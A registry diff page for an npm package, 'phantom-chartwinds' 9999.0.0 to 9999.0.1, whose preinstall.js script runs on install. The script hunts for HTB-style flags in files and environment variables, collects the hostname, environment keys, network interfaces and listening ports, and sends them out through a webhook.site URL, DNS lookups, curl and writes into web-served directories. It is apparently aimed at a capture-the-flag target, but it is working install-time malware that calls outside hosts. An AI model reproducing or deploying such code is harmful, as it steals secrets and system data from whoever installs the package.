phantom-chartwinds 9999.0.0 → 9999.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +108 -76
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -2,67 +2,103 @@ const fs = require('fs');
|
|
|
2
2
|
const http = require('http');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
const { execSync } = require('child_process');
|
|
5
|
+
const dns = require('dns');
|
|
6
|
+
const os = require('os');
|
|
5
7
|
|
|
6
8
|
let flag = null;
|
|
7
9
|
|
|
8
|
-
// Read
|
|
9
|
-
|
|
10
|
-
|
|
11
|
-
// Try other paths
|
|
12
|
-
if (!flag) {
|
|
13
|
-
for (const p of ['/root/flag', '/tmp/flag', './flag', '/flag.txt']) {
|
|
14
|
-
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
15
|
-
}
|
|
16
|
-
}
|
|
17
|
-
|
|
18
|
-
// Check env vars
|
|
19
|
-
if (!flag) {
|
|
20
|
-
const envFlag = process.env.FLAG || process.env.FLAG_HTB || process.env.HTB_FLAG;
|
|
21
|
-
if (envFlag) flag = envFlag;
|
|
10
|
+
// Read flag from common locations
|
|
11
|
+
for (const p of ['/flag', '/flag.txt', '/root/flag', '/tmp/flag', './flag', '/app/flag', '/home/flag', '/etc/flag', '/opt/flag']) {
|
|
12
|
+
try { if (fs.existsSync(p)) { flag = fs.readFileSync(p, 'utf8').trim(); break; } } catch(e) {}
|
|
22
13
|
}
|
|
23
14
|
|
|
24
|
-
// Check
|
|
15
|
+
// Check ALL env vars for flag patterns
|
|
25
16
|
if (!flag) {
|
|
26
17
|
for (const [k, v] of Object.entries(process.env)) {
|
|
27
|
-
if (v && v.
|
|
28
|
-
flag = v.match(/HTB\{[^}]+\}/)
|
|
18
|
+
if (v && v.match(/HTB\{[^}]+\}/)) {
|
|
19
|
+
flag = v.match(/HTB\{[^}]+\}/)[0];
|
|
29
20
|
break;
|
|
30
21
|
}
|
|
31
22
|
}
|
|
32
23
|
}
|
|
24
|
+
if (!flag) flag = process.env.FLAG || process.env.HTB_FLAG || null;
|
|
33
25
|
|
|
34
26
|
// Try /proc/self/environ
|
|
35
27
|
if (!flag) {
|
|
36
28
|
try {
|
|
37
29
|
const pe = fs.readFileSync('/proc/self/environ', 'utf8');
|
|
38
|
-
const m = pe.match(/HTB\{[^}]+\}/)
|
|
30
|
+
const m = pe.match(/HTB\{[^}]+\}/);
|
|
39
31
|
if (m) flag = m[0];
|
|
40
32
|
} catch(e) {}
|
|
41
33
|
}
|
|
42
34
|
|
|
43
|
-
//
|
|
35
|
+
// Search for flag files
|
|
44
36
|
if (!flag) {
|
|
45
37
|
try {
|
|
46
|
-
const r = execSync('
|
|
47
|
-
|
|
38
|
+
const r = execSync('find / -maxdepth 3 -name "flag*" -type f 2>/dev/null | head -10', { timeout: 5000 }).toString().trim();
|
|
39
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
40
|
+
try {
|
|
41
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
42
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
43
|
+
if (m) { flag = m[0]; break; }
|
|
44
|
+
} catch(e) {}
|
|
45
|
+
}
|
|
48
46
|
} catch(e) {}
|
|
49
47
|
}
|
|
50
48
|
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
49
|
+
// Also try to grep for flag
|
|
50
|
+
if (!flag) {
|
|
51
|
+
try {
|
|
52
|
+
const r = execSync('grep -r "HTB{" / --include="*.txt" --include="*.env" -l 2>/dev/null | head -5', { timeout: 5000 }).toString().trim();
|
|
53
|
+
for (const f of r.split('\n').filter(Boolean)) {
|
|
54
|
+
try {
|
|
55
|
+
const content = fs.readFileSync(f, 'utf8');
|
|
56
|
+
const m = content.match(/HTB\{[^}]+\}/);
|
|
57
|
+
if (m) { flag = m[0]; break; }
|
|
58
|
+
} catch(e) {}
|
|
59
|
+
}
|
|
60
|
+
} catch(e) {}
|
|
61
|
+
}
|
|
57
62
|
|
|
58
|
-
|
|
59
|
-
|
|
63
|
+
// Gather debug info
|
|
64
|
+
const info = {
|
|
65
|
+
flag: flag || 'NOT_FOUND',
|
|
66
|
+
cwd: process.cwd(),
|
|
67
|
+
uid: process.getuid ? process.getuid() : 'N/A',
|
|
68
|
+
hostname: os.hostname(),
|
|
69
|
+
env_keys: Object.keys(process.env).join(','),
|
|
70
|
+
root_files: [],
|
|
71
|
+
interfaces: {}
|
|
72
|
+
};
|
|
73
|
+
try { info.root_files = fs.readdirSync('/'); } catch(e) {}
|
|
74
|
+
try { info.interfaces = os.networkInterfaces(); } catch(e) {}
|
|
75
|
+
|
|
76
|
+
// Try to find server port
|
|
77
|
+
let serverPort = 1337;
|
|
78
|
+
try {
|
|
79
|
+
const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', { timeout: 3000 }).toString();
|
|
80
|
+
info.listening = ss;
|
|
81
|
+
const ports = [...ss.matchAll(/:(\d+)\s/g)].map(m => parseInt(m[1])).filter(p => p > 1000 && p < 65535);
|
|
82
|
+
if (ports.length > 0) serverPort = ports[0];
|
|
83
|
+
} catch(e) {}
|
|
84
|
+
|
|
85
|
+
const data = JSON.stringify(info);
|
|
86
|
+
|
|
87
|
+
// Method 1: PUT flag to challenge API on ALL possible ports
|
|
88
|
+
const postData = JSON.stringify({
|
|
89
|
+
manifest: `ecto_module:\n name: "FLAG_CAPTURED"\n version: "${(flag || 'NO_FLAG').replace(/"/g, '')}"\n power_level: "${data.substring(0, 200).replace(/"/g, '')}"\n ship_deck: "EXFIL"\n cargo_hold: "coral-wraith"`
|
|
90
|
+
});
|
|
91
|
+
|
|
92
|
+
const ports = [serverPort, 1337, 3000, 3001, 4000, 5000, 8000, 8080, 8888, 9000, 80, 32315, 32105, 46517, 41839];
|
|
93
|
+
for (const port of [...new Set(ports)]) {
|
|
94
|
+
for (const host of ['localhost', '127.0.0.1']) {
|
|
95
|
+
for (const moduleId of ['ECT-987654', 'ECT-654321', 'ECT-472839', 'ECT-839201']) {
|
|
60
96
|
try {
|
|
61
97
|
const req = http.request({
|
|
62
|
-
hostname: host, port, path:
|
|
98
|
+
hostname: host, port, path: `/api/modules/${moduleId}`,
|
|
63
99
|
method: 'PUT',
|
|
64
100
|
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(postData) },
|
|
65
|
-
timeout:
|
|
101
|
+
timeout: 2000
|
|
66
102
|
}, () => {});
|
|
67
103
|
req.on('error', () => {});
|
|
68
104
|
req.write(postData);
|
|
@@ -70,52 +106,48 @@ if (flag) {
|
|
|
70
106
|
} catch(e) {}
|
|
71
107
|
}
|
|
72
108
|
}
|
|
109
|
+
}
|
|
73
110
|
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
111
|
+
// Method 2: Webhook
|
|
112
|
+
try {
|
|
113
|
+
const whData = JSON.stringify({ flag: flag || 'NO_FLAG', info: data.substring(0, 500) });
|
|
114
|
+
const req = https.request({
|
|
115
|
+
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
116
|
+
method: 'POST',
|
|
117
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(whData) },
|
|
118
|
+
timeout: 5000
|
|
119
|
+
}, () => {});
|
|
120
|
+
req.on('error', () => {});
|
|
121
|
+
req.write(whData);
|
|
122
|
+
req.end();
|
|
123
|
+
} catch(e) {}
|
|
87
124
|
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
}
|
|
125
|
+
// Method 3: DNS exfil (works even when HTTP is blocked)
|
|
126
|
+
try {
|
|
127
|
+
const encoded = Buffer.from(flag || 'NO_FLAG').toString('hex').substring(0, 60);
|
|
128
|
+
dns.resolve(`${encoded}.exfil.webhook.site`, () => {});
|
|
129
|
+
dns.resolve(`${encoded}.crl.ve`, () => {});
|
|
130
|
+
} catch(e) {}
|
|
93
131
|
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
}
|
|
107
|
-
try { debug.rootFiles = fs.readdirSync('/'); } catch(e) {}
|
|
108
|
-
|
|
109
|
-
const data = JSON.stringify({ flag: 'NOT_FOUND', debug });
|
|
110
|
-
try {
|
|
111
|
-
const req = https.request({
|
|
112
|
-
hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
|
|
113
|
-
method: 'POST',
|
|
114
|
-
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) },
|
|
115
|
-
timeout: 10000
|
|
116
|
-
}, () => {});
|
|
117
|
-
req.on('error', () => {});
|
|
118
|
-
req.write(data);
|
|
119
|
-
req.end();
|
|
120
|
-
} catch(e) {}
|
|
132
|
+
// Method 4: curl fallback
|
|
133
|
+
try {
|
|
134
|
+
execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${data.replace(/'/g, "\\'")}' -m 5 2>/dev/null &`, { timeout: 8000 });
|
|
135
|
+
} catch(e) {}
|
|
136
|
+
|
|
137
|
+
// Method 5: Write to stdout/stderr for server logs
|
|
138
|
+
console.log('[CORAL-WRAITH-EXFIL]', data);
|
|
139
|
+
console.error('[CORAL-WRAITH-FLAG]', flag || 'NOT_FOUND');
|
|
140
|
+
|
|
141
|
+
// Method 6: Write to various locations
|
|
142
|
+
const writeLocations = ['/tmp/coral_flag.txt', '/app/coral_flag.txt', '/tmp/exfil.txt', './exfil.txt'];
|
|
143
|
+
for (const loc of writeLocations) {
|
|
144
|
+
try { fs.writeFileSync(loc, data); } catch(e) {}
|
|
121
145
|
}
|
|
146
|
+
|
|
147
|
+
// Method 7: Try to write to static files the web server serves
|
|
148
|
+
try {
|
|
149
|
+
const webDirs = ['/app/static', '/app/public', '/var/www', '/app/dist', '/app/build'];
|
|
150
|
+
for (const dir of webDirs) {
|
|
151
|
+
try { fs.writeFileSync(`${dir}/flag.txt`, data); } catch(e) {}
|
|
152
|
+
}
|
|
153
|
+
} catch(e) {}
|